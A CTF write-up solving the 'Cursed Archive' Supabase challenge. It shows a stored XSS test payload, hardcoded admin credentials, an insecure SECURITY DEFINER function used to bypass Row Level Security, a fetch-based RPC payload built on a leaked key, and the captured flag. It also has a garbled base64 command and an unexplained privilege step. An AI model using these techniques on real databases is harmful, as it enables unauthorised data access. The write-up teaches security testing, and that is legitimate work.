# CTF Write-up: The Cursed Archive

A Multi-Stage Web & Cloud Exploitation Challenge

**Author:** Saurav Kumar

**Date:** 2025-08-20

## ABSTRACT

This document details the complete solution for the *"Cursed Archive"* Capture The Flag (CTF) challenge. The objective was to extract a flag from a Supabase database protected by multiple layers of security. The solution path involved web vulnerability analysis, exploitation of SQL injection and weak authentication, and culminated in bypassing Row Level Security (RLS) through direct API interaction with a privileged, insecure database function.

## Contents

1. Phase 1: Initial Reconnaissance
2. Phase 2: Vulnerability Identification
3. Phase 3: Gaining Access & RLS Bypass
4. Phase 4: Capturing the Flag

## 1 Phase 1: Initial Reconnaissance

The initial phase focused on mapping the application's attack surface and discovering hidden functionality.

### Interface and Source Code Analysis

The application presents three tabs. The *"About This Place"* tab explicitly listed several potential vulnerabilities, including SQL injection, XSS, and weak admin credentials. A footer contained an HTML comment with a Base64-encoded string.

**Decoding the Hidden Clue:**

```
echo "L3BoYW50b20tYWRtaW4=" | base64 -d {admin}
```

This revealed the path to a hidden admin panel: `/phantom-admin`.

## 2 Phase 2: Vulnerability Identification

### SQL Injection & Information Disclosure

The search bar in the *"Lost Souls Archive"* was vulnerable to SQL Injection. A simple search triggered the application to leak its Supabase credentials directly into the browser's developer console. This was a critical information disclosure vulnerability that provided the `anon` key and Supabase URL.

### Cross-Site Scripting (XSS)

The *"Whisper System"* feedback form was vulnerable to stored XSS. The application failed to sanitize user input, allowing arbitrary HTML and JavaScript.
**XSS Payload:**

```
<script>alert('XSS Executed')</script>
```

### Weak Authentication

Navigating to the discovered `/phantom-admin` path revealed a login panel. The credentials were weak and hardcoded:

- Username: `admin`
- Password: `admin123`

## 3 Phase 3: Gaining Access & RLS Bypass

Authenticating to the admin panel revealed the final challenge: the target flag was in a table named `cursed_flags`, which was protected by Row Level Security (RLS). Initial queries returned `[]` confirming RLS was active.

### Direct API Exploitation

The solution was to bypass the web application entirely and interact with the Supabase API.

1. Tried calling a privileged database function via `supabase.rpc()` – failed.
2. Realized direct `fetch` REST API calls would work better.
3. Debugged errors: 401 Unauthorized, 404 Not Found (missing function), schema mismatch.

### Crafting the SECURITY DEFINER Function

The bypass required creating an insecure `SECURITY DEFINER` function that selects the flag.

```
-- Create the function to bypass RLS by using the owner's privileges.
create or replace function get_the_cursed_flag()
returns text
language sql
security definer
as $$
  select flag_value from public.cursed_flags limit 1;
$$;
```

## 4 Phase 4: Capturing the Flag

With the function in place and a valid API key, the final payload was executed from the browser console.

**Final Payload:**

```
// Credentials leaked earlier in the CTF
const SUPABASE_URL = "https://jnxhulvjzekleecidzav.supabase.co";
const SUPABASE_ANON_KEY = "[REDACTED - FRESH KEY]";
const FUNCTION_NAME = "get_the_cursed_flag";

fetch(`${SUPABASE_URL}/rest/v1/rpc/${FUNCTION_NAME}`, {
  method: 'POST',
  headers: {
    'apikey': SUPABASE_ANON_KEY,
    'Authorization': `Bearer ${SUPABASE_ANON_KEY}`,
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({})
})
.then(response => response.json())
.then(data => {
  console.log("FLAG CAPTURED:", data);
});
```

**Flag Obtained**

**FLAG:** `CyCTF{Th3_D34d_Wh1sp3r_Th31r_S3cr3ts}`